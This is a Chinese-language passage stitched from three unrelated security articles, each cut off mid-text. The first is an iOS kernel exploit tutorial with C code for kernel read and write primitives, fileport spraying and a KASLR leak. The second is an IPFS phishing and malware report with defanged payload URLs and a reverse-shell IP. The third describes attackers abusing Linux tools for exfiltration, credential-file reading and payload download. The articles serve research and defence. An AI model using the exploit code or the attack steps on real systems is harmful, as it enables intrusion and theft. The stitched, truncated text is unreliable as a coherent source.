staticvoidcorellium_write64(uintptr_tkaddr,uint64_tval){

uint64_tvalue=val;

unicopy(UNICOPY_DST_KERN|UNICOPY_SRC_USER,kaddr,(uintptr_t)value,sizeof(value));

}為了增加真實性,我們可以增加一個隨機的失敗機會,例如每次使用都有10%的機會引起內核崩潰,或者遞增失敗的概率。然而,為了構建該技術,我決定讓其保持100%的可靠性。

重要的是,這些原語沒有提供KASLR洩漏漏洞,所以開發過程的部分工作將圍繞這個弱點進行。雖然Corellium還提供了另一個神奇的hvc調用,可以提供內核基址,但這裡並不使用該調用。

創建管道原語首先,我們需要兩個管道,並分配緩衝區。這與上面的基本管道例子非常相似。

//Createtwopipes

intpipe_pairs[4]={0};

for(inti=0;i4;i+=2){

if(pipe(pipe_pairs[i])){

fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));

exit(-1);

}

}

charpipe_buf_contents[64];

memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));

write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));

memset(pipe_buf_contents,0x42,sizeof(pipe_buf_contents));

write(pipe_pairs[3],pipe_buf_contents,sizeof(pipe_buf_contents));現在,我們需要在內核內存中定位這些結構。其中,一種方法是使用任意讀取來遍歷struct proc鍊錶,以查找exploit進程,然後遍歷其p_fd-fd_ofiles數組,以查找管道的fileglob,最後讀取fileglob-fg_data,這將是一個struct管道。不幸的是,這需要多次讀取,並且,我們還要假裝read原語是不可靠的。它還需要了解KASLR的slide,以便找到struct proc列表的頭部。總而言之,我們需要一種不同的方法。

Fileports:XNU的多味巧克力實際上,有一個API可用於通過Mach端口共享UNIX文件描述符,同時,Mach端口噴射技術已經由來已久。創建文件端口的API非常簡單:

intpipe_read_fd=[.];//Assumethiswascreatedelsewhere

mach_port_tmy_fileport=MACH_PORT_NULL;

kern_return_tkr=fileport_makeport(pipe_read_fd,my_fileport);通過創建大量這樣的端口(比如,100k),那麼,其中一個Mach端口落在可預測的地址上的機率就會變得相當高。並且,該端口的kobject字段將指向管道的fileglob對象,其中包含兩個非常有用的字段:

fg_ops:一個指向函數指針數組的指針。通過它,內核就知道如何調用pipe_read了,而非調用vn_read(用於磁盤上的普通文件)。這個指針位於內核的__DATA_CONST段中,這意味著這裡存在一個KASLR洩漏漏洞!

fg_data:一個指向struct管道的指針,這正是我們夢寐以求的東西。

同時,該struct管道還包含一個嵌入式結構(struct pipebuf),其中保存的是管道緩衝區的地址。通過使用兩次任意讀取原語,我們就可以確定struct管道的地址。為了達到我們的目的,我們還必須再一次定位管道的地址,所以,我們總共需要使用四次任意讀取原語。但是,我們該如何找出相應的內核地址呢?

更多Corellium魔法:管理程序鉤子我們可以使用管理程序鉤子輸出每個fileport分配的內存地址,然後選擇一個在多次運行中出現的地址,而不是胡亂猜測。

另外,這些鉤子可以通過調試器命令放置,但之後它們將獨立於調試器運行。因此,它們比斷點運行得快得多,並且可以直接記錄到設備的虛擬控制台,這使得提取數據以供後續分析變得容易了許多。

我們的鉤子應盡可能簡單——在執行到特定地址時,只需打印寄存器的值即可,例如:

(lldb)processpluginpacketmonitorpatch0xFFFFFFF00756F4F8print_int('Fileportallocated',cpu.x[0]);print('\n');其中,process plugin packet monitor用於告訴lldb,將原始“monitor”命令發送給遠程調試器存根。據這些鉤子文檔稱,這些命令在lldb中“通常是不可用的”,但至少對這個鉤子來說似乎是有效的。

該命令的其餘部分用於鉤住指定的地址,並將X0寄存器的內容打印到設備的控制台。幸運的是,鉤子的輸出是以不同的文字顏色顯示的,所以很容易發現。

為了給鉤子函數做好準備,我們需要確定要鉤住新分配的內存中的哪個地址,而這些地址通常會保存在寄存器中。下面,讓我們來看一下fileport_makeport的實現代碼:

int

sys_fileport_makeport(proc_tp,structfileport_makeport_args*uap,__unusedint*retval)

{

interr;

intfd=uap-fd;//[1]

user_addr_tuser_portaddr=uap-portnamep;

structfileproc*fp=FILEPROC_NULL;

structfileglob*fg=NULL;

ipc_port_tfileport;

mach_port_name_tname=MACH_PORT_NULL;

[.]

err=fp_lookup(p,fd,fp,1);//[2]

if(err!=0){

gotoout_unlock;

}

fg=fp-fp_glob;//[3]

if(!fg_sendable(fg)){

err=EINVAL;

gotoout_unlock;

}

[.]

/*Allocateandinitializeaport*/

fileport=fileport_alloc(fg);//[4]

if(fileport==IPC_PORT_NULL){

fg_drop_live(fg);

err=EAGAIN;

gotoout;

}

[.]

}在[1]處,文件描述符是從一個結構體類型的參數中接收的,它將與用戶空間中看到的、表示管道fd的整數相匹配。

在[2]處,將fd(例如3)轉換為表示內核內存中管道的fileproc對象指針。然後,在[3]處,解除fp_glob指針的引用,檢索管道的fileglob。

在[4]處,創建Mach端口,該端口封裝了fileglob對象,並將其指針放置在kobject字段中。其中,fileport是我們要記錄的地址,它是fileport_alloc的返回值,因此,它位於X0寄存器中。下面,讓我們來看看fileport_alloc的具體代碼:

ipc_port_t

fileport_alloc(structfileglob*fg)

{

returnipc_kobject_alloc_port((ipc_kobject_t)fg,IKOT_FILEPORT,

IPC_KOBJECT_ALLOC_MAKE_SEND|IPC_KOBJECT_ALLOC_NSREQUEST);

}這個函數很短,並且只引用了一次,所以,它很可能是內聯的。接下來,我們需要找到kernelcache內部的等效代碼。幸運的是,jtool2可以幫助我們完成這個任務。為此,我們首先需要通過Corellium的Web界面的“Connect”選項卡下載kernelcache,然後,就可以利用jtool2的分析功能來創建符號緩存文件了:

$jtool2--analyzekernel-iPhone9,1-18F72

Analyzingkernelcache.

Thisisanold-styleA10kernelcache(DarwinKernelVersion20.5.0:SatMay802:21:50PDT2021;root:xnu-7195.122.1~4/RELEASE_ARM64_T8010)

Warning:ThisversionofjokersupportsuptoDarwinVersion19-andreportedversionis20

--Processing__TEXT_EXEC.__text.

Disassembling6655836bytesfromaddress0xfffffff007154000(offset0x15001c):

__ZN11OSMetaClassC2EPKcPKS_jis0xfffffff0076902f8(OSMetaClass)

Can'tgetIOKitObject@0x0(0xfffffff007690b5c)

[.]

openedcompanionfile./kernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

Dumpingsymbolcachetofile

Symbolicated7298symbolsand9657functions然後,我們可以利用grep命令處理該文件,以找到我們需要的兩個符號:

$grepipc_kobject_alloc_portkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

0xfffffff00719de7c|_ipc_kobject_alloc_port|

$grepfileport_makeportkernel-iPhone9,1-18F72.ARM64.B2ACCB63-D29B-34B0-8C57-799C70810BDB

0xfffffff00756f3a4|_fileport_makeport|現在,我們只需從fileport_makeport中找到對ipc_kobject_alloc_port的調用即可:

1.png

需要注意的是,這個調用指令後的指令面,就是我們要掛鉤的指令,其地址為0xFFFFFFF00756F4F8。由於啟用了KASLR機制,直接修改這個地址是無法奏效的。幸運的是,如前所述,我們可以藉助於虛擬機管理程序的另一種魔法,即通過調用提供的get_kernel_addr函數從userspace獲得slid內核基的方法:

#defineKERNEL_BASE0xFFFFFFF007004000

uint64_tkslide=get_kernel_addr(0)-KERNEL_BASE;

printf('Kernelslide:0x%llx\n',kslide);

printf('Placehypervisorhook:\n');

uint64_tpatch_address=g_kparams-fileport_allocation_kaddr+kslide;

printf('\tprocesspluginpacketmonitorpatch0x%llxprint_int(\'Fileportallocated\',cpu.x[0]);print(\'\\n\');\n',patch_address);

printf('Pressentertocontinue\n');

getchar();通過將這段代碼放到exploit的開頭處,不僅能為附加調試器和安裝鉤子提供必要的時間,還能為給定的kernelcache提供正確的slid地址。

一旦鉤子安裝到位,我們就可以噴射100k fileport,並選擇一個作為我們要猜測的內存地址。我簡單地向上滾動了一下,在列表的3/4處隨機選擇了一個,這對於PoC來說似乎足夠好了。一個更嚴謹的做法,是通過多次運行來跟踪地址範圍,並嘗試挑選一個已知的高概率的地址,例如如Justin Sherman的IOMobileFrameBuffer漏洞利用代碼就採用了這種方式。

現在我們有了一個猜測對象,我們可以執行兩次相同的噴射操作(為每個管道的讀端fd噴射一次),並讀取kobject字段來定位struct管道;下面是完整的實現代碼:

structkpipe{

intrfd;

intwfd;

uint64_tfg_ops;

uint64_tr_fg_data;

};

staticstructkpipe*find_pipe(intrfd,intwfd){

structkpipe*kp=NULL;

char*leak=NULL;

char*fileglob=NULL;

char*fg_data=NULL;

printf('[*]Sprayingfileports\n');

mach_port_tfileports[NUM_FILEPORTS]={0};

for(inti=0;iNUM_FILEPORTS;i++){

kern_return_tkr=fileport_makeport(rfd,fileports[i]);

CHECK_KR(kr);

}

printf('[*]Donesprayingfileports\n');

#ifdefSAMPLE_MEMORY

//Noneedtocontinue,justexit

printf('[*]Finishedcreatingmemorysample,exiting\n');

exit(0);

#endif

uint64_tkaddr_to_read=g_kparams-fileport_kaddr_guess;

leak=read_kernel_data(kaddr_to_read+g_kparams-kobject_offset);//port-kobject,shouldpointtoastructfileglob

if(!leak){

printf('[!]Failedtoreadkerneldata,willlikelypanicsoon\n');

gotoout;

}

uint64_tpipe_fileglob_kaddr=*(uint64_t*)leak;

if((pipe_fileglob_kaddr0xff00000000000000)!=0xff00000000000000){

printf('[!]Failedtolandthefileportspray\n');

gotoout;

}

pipe_fileglob_kaddr|=0xffffff8000000000;//PointermightbePAC'd

printf('[*]Foundpipestructure:0x%llx\n',pipe_fileglob_kaddr);

//+0x28pointstofg_opstoleaktheKASLRslide

//+0x38pointstofg_data(structpipe)

fileglob=read_kernel_data(pipe_fileglob_kaddr+0

微信截图_20230421165743.png

2022年,unit42觀察到,IPFS(InterPlanetary File System,星際文件系統)被廣泛用作惡意工具。 IPFS是一種全新的超媒體文本傳輸協議,可以把它理解為一種支持分佈式存儲的網站。

與任何技術一樣,IPFS也可能被攻擊者者濫用。然而,由於IPFS上的託管內容是去中心化和分佈式的,因此在定位和刪除生態系統中的惡意內容方面存在挑戰,這使其類似於bullet-proof 託管。

從2021第四季度到2022年第四季度末,Palo Alto Networks檢測到IPFS相關流量增加了893%。調查還顯示,病毒總數在同一時期增長了27000%以上。 IPFS相關流量的增加伴隨著惡意活動的顯著增加。檢測發現,2022年的許多攻擊活動涵蓋了網絡釣魚、憑證盜竊和惡意有效負載傳播。

整體流量增加從2022年第一季度開始,Palo Alto Networks的IPFS流量顯著增加,如下圖所示。 2022年第一季度,研究人員檢測到IPFS流量與2021年最後一個季度末的記錄相比增長了178%。

之後流量繼續增加:

第二季度增長85%;

第三季度增長62%;

2022年最後一個季度增長了19%;

這相當於整體增長了893%。

1.png

與IPFS相關的流量在2022年第一季度的VirusTotal上也出現了類似的增長,與2021年第四季度相比增長了6503%

之所以會出現這種增長,是因為採用了IPFS技術。新技術出現後總會有人惡意使用它。研究人員在Palo Alto Networks和VirusTotal提交的IPFS流量中觀察到的顯著增加也包括使用IPFS的惡意活動的大幅增加。

研究人員觀察到,攻擊者經常為他們的詐騙服務做廣告,使用各種宣傳。也就是說,由於IPFS分佈式文件系統的性質,IPFS為他們的活動提供了持久性。

3.png

攻擊者使用客戶IPFS鏈接銷售詐騙服務

4.png

5.png

6.png

攻擊者出售IPFS網絡釣魚頁面

攻擊者正在使用公共IPFS網關作為傳遞其惡意內容的方式。如果沒有這些互聯網可訪問網關,攻擊者將無法將IPFS網絡作為其攻擊活動的一部分。這一趨勢在許多網絡釣魚和網絡犯罪活動中使用互聯網可訪問的IPFS鏈接中可以看到,這些活動的初始攻擊媒介通常是電子郵件誘餌。

接下來,我們將詳細介紹在分析惡意使用IPFS技術時看到的一些攻擊活動。

網絡釣魚下圖顯示了IPFS與網絡釣魚相關的網絡流量呈指數級增長,尤其是在今年最後一個季度。與託管在網絡上的傳統網絡釣魚頁面不同,託管提供商或管理機構無法輕鬆刪除IPFS網絡釣魚內容。

一旦發佈到IPFS網絡,任何人都可以在自己的節點上獲取並重新發佈內容。網絡釣魚內容可以託管在多個節點上,並且必須向每個主機發出刪除內容的請求。如果任何一個主機不同意刪除,那麼內容幾乎不可能被刪除。

由於網站所有者、託管提供商或版主刪除或暫停內容,網絡釣魚活動的生存時間(TTL)通常比其他類型的網絡犯罪更短。 IPFS的結構使攻擊者能夠通過使其更具抵禦能力來延長他們的活動。

7.png

IPFS網絡釣魚URL

IPFS網絡釣魚活動與傳統網絡釣魚活動類似,攻擊者模仿合法服務和軟件(如DHL、DocuSign和Adobe)來增加進入某人收件箱的可能性。阻止這些誘惑的能力取決於接收組織的電子郵件安全性。雖然一些組織在其安全電子郵件網關和其他安全產品中製定了非常嚴格的規則,但其他組織沒有這樣做,因為擔心合法的電子郵件會受到影響。

請注意,下面顯示的名稱和徽標是攻擊者試圖冒充合法組織的作品,攻擊者的模仿並不意味著合法組織的產品或服務存在漏洞。

在下面的示例中,模仿DHL品牌的電子郵件誘餌包含一個附件。在該附件中,有一個指向實際網絡釣魚頁面的IPFS鏈接。

8.png

DHL主題的電子郵件誘餌,附件已提交給VirusTotal

一旦用戶點擊下圖所示的附件,就會預覽一張模仿Adobe PDF標識的假髮票。 “打開”按鈕實際上是一個IPFS鏈接,將用戶重定向到實際的網絡釣魚頁面,而不是打開PDF。這個頁面可以通過IPFS網關訪問。

9.png

附有DHL誘餌鏈接的附件

IPFS URL通過IPFS[.]io將用戶重定向到Adobe網絡釣魚頁面,然後嘗試竊取用戶的登錄憑據。

10.png

在DHL主題誘餌的附件中發現了IPFS釣魚鏈

與其他Web3技術一樣,常用的數據外竊取方法在IPFS網絡上是不可能的。攻擊者無法接收受害者輸入到表單中的數據,從而竊取他們的憑據。

標準的web表單使用HTML前端來顯示內容,後端使用表單處理器來收集、處理並將數據發送到web服務器。 IPFS不包含相同或類似的技術來處理這些動態功能。

使用IPFS的人只是簡單地提取或檢索數據的只讀副本,而不是與之交互。 IPFS網關後面的網絡釣魚頁面依賴於許多其他技術。

例如,攻擊者可以在收集帳戶憑證的網頁中使用嵌入式腳本代碼。他們還可以使用無頭表單,即可以填寫和收集的靜態用戶表單。表單字段被映射到JSON模型,以便通過API發送到後端系統,從而促進API驅動的竊取。這些信息是通過HTTP POST請求收集的,這些請求被發送給攻擊者,在那裡它可以被用於其他惡意目的。

Nillis.html中的未轉義腳本下圖顯示了一個模仿Microsoft的網絡釣魚示例,它以HTML頁面的形式託管。鏈接此頁面的IPFS URL為

hxxps[://]bafybeicw4jjag57bk3czji7wjznkkpbocg27qk3fjvqh5krbrfiqbksr2a[.]ipfs[.]w3s[.]link/Nills[.]html.

11.png

Nills.html的網絡釣魚頁面

要了解憑據將如何被竊取的,有必要查看網頁的源內容。

下圖顯示了一個名為WriteHTMLtoJS的函數。此函數的目的是將HTML寫入JavaScript (JS),並對內容進行轉義。 UnescapeJS函數負責用實際的ASCII字符值解碼十六進制序列

12.png

Nills.html網頁的源代碼視圖

解碼和分析未轉義的內容會發現一對腳本標籤和一個觀察到的URL,它是app[.]headlessforms[.]cloud,網絡釣魚頁面似乎與此URL有關。

對無頭表單的分析表明,此網絡釣魚頁面使用的是一種管理用戶表單的方法,在該方法中,可以在第三方後端捕獲數據,而無需設計或開發前端web應用程序。

13.png

Nills.html的解碼視圖,其中包含憑據洩露的位置

受害者輸入帳戶用戶名和密碼憑據後,它將通過HTTPPOST請求發送。 URI末尾的字符串(GjCP9S9nke)是與無頭表單平台上的攻擊者相關聯的唯一標識令牌。

14.png

HTTP POST和捕獲的憑據

new.html中的HTTP POST另一個模仿微軟的網絡釣魚頁面也託管在IPFS上,名為new.html。關聯的IPFS釣魚URL為:

hxxp[://]bafybeifm5vcoj35hhuxf7ha3gg6asrrlrwu3bvcysgmrvygnm3qjmugwxq[.]ipfs[.]w3s[.]link/new[.]html?email=

15.png

new.html釣魚頁面

查看網頁源代碼會發現一個與前面引用的類似的JS函數,它對內容進行反轉義,將其解碼為ASCII值。 unescape函數如下圖所示。

16.png

new.html的源代碼視圖

對內容進行解碼後,會發現位於大量代碼底部附近的一個感興趣的片段,如下圖所示。

17.png

new.html URL

上圖中的代碼片段顯示了註冊到提交按鈕的點擊函數事件的外部URL (fairpartner[.]ru)。此URL將與HTTP POST請求提供的數據聯繫,如下圖所示。

18.png

fairpartner.ru的DNS請求

截止發文,研究人員還無法捕獲憑證盜竊,因為該域不再可訪問,這突出了使用第三方服務(如無頭表單)進行攻擊的優勢。

IPFS不僅被攻擊者用於網絡釣魚,它還用於惡意軟件攻擊集和勒索軟件。

眾所周知,RansomEXX等勒索軟件即服務(RaaS)運營商會使用IPFS網絡發布受害者被盜的數據。 Smoke Loader、XLoader、XMRig和OriginLogger等惡意軟件經常使用IPFS鏈接進行惡意有效負載傳遞。 IPStorm和Dark實用程序使用IPFS網絡作為基礎設施。

攻擊過程攻擊者以幾種不同的方式使用IPFS網關。可以將這些方法分類為傳播方法,或用作託管或分級有效負載的基礎設施,或者用作分散的C2信道。

以下惡意軟件家族在2022年全年一直在使用IPFS。惡意軟件家族Dark Utilities一直在使用IPFS網關來轉移惡意負載。 IPStorm使用IPFS網關作為P2P通信的C2信道。

攻擊者還使用IPFS網關提供各種惡意軟件,例如:

OriginLogger

XLoader

XMRig

Metasploit

接下來,我們將介紹這些攻擊是如何在高級別上運行的,包括IPFS是如何被用來促進惡意操作的。

OriginLoggerOriginLogger惡意軟件開始於2019年。它是Agent Tesla遠程訪問木馬的迭代版本。它是用.NET編寫的,是一個隱蔽性很強的信息竊取程序。這種攻擊通常以擊鍵和剪貼板數據為目標,這些數據通過C2通道傳送回攻擊者控制的服務器。

Unit 42的研究人員發現了一個偽裝成逾期發票的電子郵件誘餌,帶有XLL附件。打開XLL文件後,會向IPFS URL發送HTTP GET請求:

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

此URL用於通過IPFS網關下載OriginLogger負載。

19.png

附件

下圖顯示了OriginLogger的第二個傳播示例,這封電子郵件也偽裝成過期發票,標題是“過期發票”。

這個電子郵件誘餌還有一個XLL文件附件。打開後,還會向IPFS URL發送GET請求:

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

點擊此URL可通過IPFS網關下載OriginLogger負載。

20.png

推送包含OriginLogger有效負載的附件的電子郵件

下面列出了託管在IPFS上的一些其他OriginLogger有效負載,這些負載來自2022年5月至6月期間發生的一場活動:

hxxps[://]ipfs[.]io/ipfs/QmQBPuPxy3nZjK2yVspsUJVhutajAfRQpnjc58RAcUJFrh?filename=INV-SCL0093-05-22pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmY4kDbUk8VYM8Zzn1rVgfa3c4ybma4evMBfyWwyieaZxW?filename=Sign-Reurn-pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmczJ1MxQ2SH8deXBTJfFgsrApM5BShgLSh1MQry4Vxc4c?filename=REF

XLoaderXLoader惡意軟件起始於2020年,是FormBook的迭代版。 XLoader被宣傳為一種可以在Windows和macOS上運行的軟件即服務(MaaS)產品。 XLoader能竊取瀏覽器和登錄憑證,它還能夠記錄鍵盤和捕獲屏幕截圖。

Unit 42的研究人員觀察到以下與XLoader有效負載託管相關的野外(ITW)URL:

hxxp[://]bafybeiafb63z73aoz3d4jdpve2rhlwo6ujlzjyri26z63flqnara2dqwoa[.]ipfs[.]dweb[.]link/order.exe

bafybeicokadgkcohrqslwdnmtu5mcc2zmo2hveiw2bh5j5z35onsxe3cy4[.]ipfs[.]dweb[.]link

XMRigXMRig是一個自2017年以來一直活躍的惡意挖礦軟件,它是一個開源實用程序,很受各類攻擊組織的歡迎。

下圖顯示了一個ITW IPFS域,該域在2023年3月下旬為XMRig有效負載提供服務。 Unit 42的研究人員還觀察到攻擊者濫用Cloudflare的IPFS網關來託管XMRig。

21.png

ITW域正在下載XMRig有效負載

Unit 42觀察到以下與XMRig託管相關的URL:

hxxps[://]bafybeibgc3snqi6qesnhskujhjcbduu7lfhju7eppumuqhymapuwvln6tq[.]ipfs[.]nftstorage[.]link

hxxps[://]cloudflareipfs[.]com/ipns/12D3KooWDdu1TTG9JRzFisv8HBXE2Zi2qpqs1r2vb88vEE1ws5mc/phpupdate.exe

下圖顯示了XMRig的可執行PE文件屬性。

22.png

XMRig PE文件信息

MetasploitMetasploit框架是一個滲透測試工具包,自21世紀初以來就一直活躍。 Metasploit包含漏洞利用、模塊、有效負載和輔助功能。該工具包的主要用例是生成有效負載並實現代碼執行,以建立與受害者設備的通信通道。這使得使用該工具包的人能夠訪問和控制環境或用戶。

2023年3月下旬,Unit 42的研究人員觀察到一個ITW IPFS域:

hxxps[://]bafybeihtuhj7ezvjbtig75qpv43t7eh6dmcnarlm454fx5yjb4uzqbidpy[.]ipfs[.]infura-ipfs[.]io

自2022年5月26日以來,該域一直在提供Metasploit shellcode負載。 shellcode連接回IP地址51.254.127[.]82。

23.png

從IPFS域下載Metasploit負載

24.png

Metasploit shellcode逆向shell IP連接

與相同的Metasploit有效負載相關的附加ITW域:

hxxps[://]ipfs.infura[.]io/ipfs/QmejguEysvXLMaAYmXe3EXmjfnoAqMdVfn4ojto1yLTGhK

IPStormIPStorm惡意軟件自2019年以來一直活躍,它使用IPFS作為C2通道。

IPStorm使用開源庫libp2p作為網絡棧,並通過IPFS網絡進行P2P通信。可執行文件是用Golang編寫的,包含多個可用於識別惡意軟件家族的軟件包名稱。該攻擊在模塊名稱之前使用文件夾名稱/storm,如下圖所示。

25.png

b8ee3897aff6c6660557a4c73b243870020705df6c87287040bfcd68b7c8b100中使用的GO庫的屏幕截圖

Dark UtilitiesDark Utilities惡意軟件家族最初是在2022年由Cisco Talos發現的。是一個為攻擊者提供全功能C2 功能的平台,使用IPFS作為其首選的傳播渠道。此攻擊可以針對Windows

通過趨勢科技的蜜罐和監測技術,研究人員能夠觀察到攻擊者濫用原生Linux 工具對Linux 環境發起攻擊的實例。

採用容器已經成為主流,各類企業的使用率都在上升。根據CNCF 的一項調查,93% 的受訪者目前正在或計劃在其運行中使用容器。像Kubernetes這樣的容器項目和其他在雲和互聯網上可用的工具,已經導致了組織運作方式發生變化,從單一架構到創建由微服務組成的分佈式系統。

由於使用了容器這些變化也導致了攻擊面的擴大,特別是通過在部署中引入的安全錯誤配置或漏洞。對於使用容器的企業來說,補丁管理常常是一項巨大的任務,這意味著更新並不總是及時地實現,這使得云安全更加複雜。

研究人員已經在面向公眾的Web 應用程序中發現了各種來源的嚴重漏洞,從易受攻擊的開源庫(Log4Shell 和Spring4Shell)到框架(Apache Struts 和Drupal),甚至是諸如Atlassian Confluence、Oracle WebLogic Server 和Apache HTTP Server等應用程序。一旦漏洞的概念證明(POC) 被披露,攻擊者就可以利用它們執行惡意任務,從挖掘加密貨幣到有時部署勒索軟件。

從防御者的角度來看,理想的結果是阻止攻擊者獲得最初的立足點。然而,情況並非總是如此。如果攻擊者確實設法進入系統,則防御者的工作就是通過使用縱深防禦策略使攻擊者更難成功地完成攻擊。

通過蜜罐網絡和監控分析,研究人員能夠觀察到大多數成功利用嘗試的一些有趣特徵,特別是攻擊者如何在其例程中使用本機Linux 工具。

在Linux 環境中使用合法實用程序和工具檢查攻擊對基於Linux 的系統的攻擊通常遵循標準的利用鏈。首先,攻擊者利用一個漏洞或一系列漏洞來獲得對環境的初始訪問權限(我們現在可以將其視為受到攻擊)。此時,攻擊者可以採取不同的路徑進一步進入被破壞的環境:

1.枚舉當前環境的上下文(發現);

2.從環境中洩露敏感數據(洩露、影響);

3.通過刪除應用程序執行拒絕服務攻擊(影響);

4.通過下載挖礦軟件來挖掘加密貨幣(影響);

5.嘗試其他技術(權限升級、橫向移動、持久性或憑據訪問);

1.png

攻擊者如何在受感染的環境中進一步發起攻擊

基於真實世界的攻擊和蜜罐捕獲的樣本,研究人員觀察到攻擊者使用與Linux 發行版捆綁在一起的各種啟用工具,例如curl、wget、chmod、chattr、ssh、base64、chroot、crontab、ps 和pkill ,這些工具都可以被攻擊者利用。

我們已經看到攻擊者在野外濫用這些工具。至少應該考慮這些實用程序的存在,尤其是在容器環境中,因為它們為攻擊者提供了額外的途徑。

2.png

使用base64解碼有效負載,以便稍後執行

base64 工具是一個Linux 實用程序,用於解碼以base64 格式編碼的字符串。攻擊者經常使用base64 編碼來混淆他們的有效載荷和命令以逃避檢測(T1027),我們在之前的文章《恶意Shell脚本的进化》 中詳細描述了這種技術。

3.png

使用“cat”進程查看所有用戶的.bash_history

.bash 歷史文件存儲在用戶的主目錄中,記錄用戶在其bash shell 上執行的命令。眾所周知,攻擊者會從這些文件中提取信息以了解當前環境的上下文,正如我們之前在另一篇文章中所詳述的那樣,錯誤配置的Docker 守護程序API 端口因Kinsing 惡意軟件活動而受到攻擊。

4.png

使用“cat”進程查看“/etc/passwd”

作為枚舉步驟的一部分,攻擊者訪問/etc/passwd 文件,該文件包含環境中已註冊用戶的列表,並顯示給定用戶是否具有與其登錄相關聯的shell(T1003.008)。此信息有助於攻擊者了解環境並確定有價值的用戶。

5.png

使用“chattr”` 將/etc/crontab 文件修改為可變

chattr 實用程序用於更改文件和文件夾屬性,以控製文件的刪除和修改等突發操作。上圖中的示例顯示/etc/crontab 文件的屬性已被更改,導致文件不安全。正如《分析TeamTNT 的活动》 中所討論的,該實用程序之前已被觀察到被TeamTNT 濫用。

6.png

使用“chmod”使文件可執行

chmod工具用於修改文件模式,實現用戶/組訪問粒度化。它需要執行新下載的可執行文件,在本例中,我們看到/tmp路徑上的agettyd文件被設置為可執行位。

7.png

使用“crontab”刪除所有現有的cron 作業

cron作業是用於調度任務(或作業)的實用工具。眾所周知,攻擊者濫用cron作業並修改“crontab”來執行執行、持久性,有時還會使用特權升級技術(T1053.003)。上圖中的示例顯示了對現有cron作業的刪除。這種情況很常見,加密貨幣挖礦軟件通過刪除其他挖礦軟件的痕跡來劫持盡可能多的資源。《Linux 加密货币挖矿软件之战》 深入討論了這些活動。

8.png

使用“curl”將系統信息洩露給攻擊者

curl 或cURL 實用程序用於跨不同協議傳輸數據,例如HTTP、HTTPS 和文件傳輸協議(FTP)。上圖中的示例顯示操作系統版本和發布版本等系統信息作為POST 請求發送到攻擊者的基礎設施。

9.png

使用“curl”從GitHub 下載xmrig 二進製文件

在本例中,curl用於從Github下載XMRig 挖礦軟件的二進製文件。眾所周知,攻擊者濫用像Github和Netlify這樣的合法平台來服務於加密挖掘工具,正如我們在之前的《通过 GitHub、Netlify 提供的门罗币挖掘恶意软件漏洞》 博客中解釋的那樣。

10.png

使用“pkill”阻止競爭進程/coinminer

kill 套件實用程序用於向進程發送信號,如上圖中的示例所示,它將SIGKILL 信號發送到名為“kdevtmpfsi”的進程。早在2020 年,我們就一直在追踪名為kdevtmpfsi 的加密貨幣挖礦軟件,《分析 Kinsing 恶意软件对 Rootkit 的使用》 展示了另一個競爭挖礦軟件被終止的例子。

11.png

使用“ps”查看正在運行的進程

ps 實用程序用於查看進程的狀態。上圖顯示了ps aux 命令獲取有關進程的詳細信息,例如係統上當前正在運行的進程、進程ID 和進程權限。此信息可以幫助攻擊者執行與發現相關的技術(T1057 ——進程發現)並獲取有關他們所處環境的信息。

12.png

使用“rm”從/tmp 目錄中刪除隱藏文件

在上圖中,我們看到rm 工具用於刪除/tmp 目錄下的隱藏文件和文件夾。在文件或文件夾名稱之前,攻擊者可以通過添加“.”來創建隱藏目錄以逃避檢測(隱藏工件:隱藏文件和目錄- T1564.001)。

13.png

使用“ssh”通過XMR 挖礦軟件感染底層主機

ssh 實用程序是用於通過Secure Shell (SSH) 以類似蠕蟲的方式訪問系統的遠程客戶端。在上圖中,攻擊者嘗試下載Monero 挖礦軟件(使用wget/curl)並感染正在嘗試SSH 的遠程計算機(127.0.0.1)。一旦攻擊者由於容器的不安全配置(例如,特權容器)而掛載了底層主機的文件系統,他們就會創建新的SSH 密鑰對,使用它來建立“ssh”會話,並用加密貨幣挖礦軟件感染底層主機。

14.png

使用“wget”、“curl”、“chmod”下載並執行Mirai 惡意軟件

在此示例中,我們看到了不同Linux 實用程序的組合使用,其中下載了二進製文件,修改了權限,然後再執行。名為“runnable”的可執行文件是在CVE-2021-44228跟踪的Log4shell漏洞被利用後發布的Mirai示例。

15.png

使用“whoami”查看當前用戶上下文

16.png

顯示攻擊者使用“chroot”和“base64”的工作台

使用Vision One 工作台,我們看到攻擊者正在使用chroot 和base64 實用程序。請注意,chroot 用於將根更改為提供的目錄(在本例中為/host),其中底層主機的文件系統安裝在容器中。在《为什么特权容器很容易被攻击》 一文中,我們探討了此函數在授予容器時所帶來的風險。

保護Linux 系統免受實用程序濫用的最佳實踐使用distroless 鏡像通過觀察上一節中討論的技術,我們看到攻擊者可以使用一組與完整操作系統捆綁在一起的工具。作為防御者,使用只包含我們需要的工具的容器映像並刪除不需要的工具會更安全。

這種安全方法可以在很大程度上幫助降低風險,即使是針對諸如Log4Shell 之類的關鍵漏洞也是如此。減少應用程序運行所需的工具數量也減少了由開源庫和工具中的依賴漏洞引入的攻擊面。這裡介紹無發行映像的概念,這些映像被描述為僅包含應用程序及其運行時依賴項的映像,消除了你期望在典型Linux 發行版中找到的程序,例如包管理器和shell。

Cloud One 工作負載安全——應用程序控制從防御者的角度來看,重點應該是通過縱深防禦策略抵禦。雖然對系統進行更改以盡量緩解甚至防止濫用會有所幫助,但利用多種安全措施的多層方法將提供最強的安全級別,理想情況下是將最佳實踐與有效的防禦技術結合起來。

對於非容器化環境,Cloud One 工作負載安全提供了應用程序控制模塊,該模塊監控軟件更改並根據設置的配置允許或阻止它們。它創建現有應用程序的基線並將規則應用於下載和安裝的新應用程序。它基於二進製文件的SHA256 哈希值工作。

它為用戶提供了執行以下操作的選項:

在明確允許之前阻止無法識別的軟件;

在明確阻止之前允許無法識別的軟件;

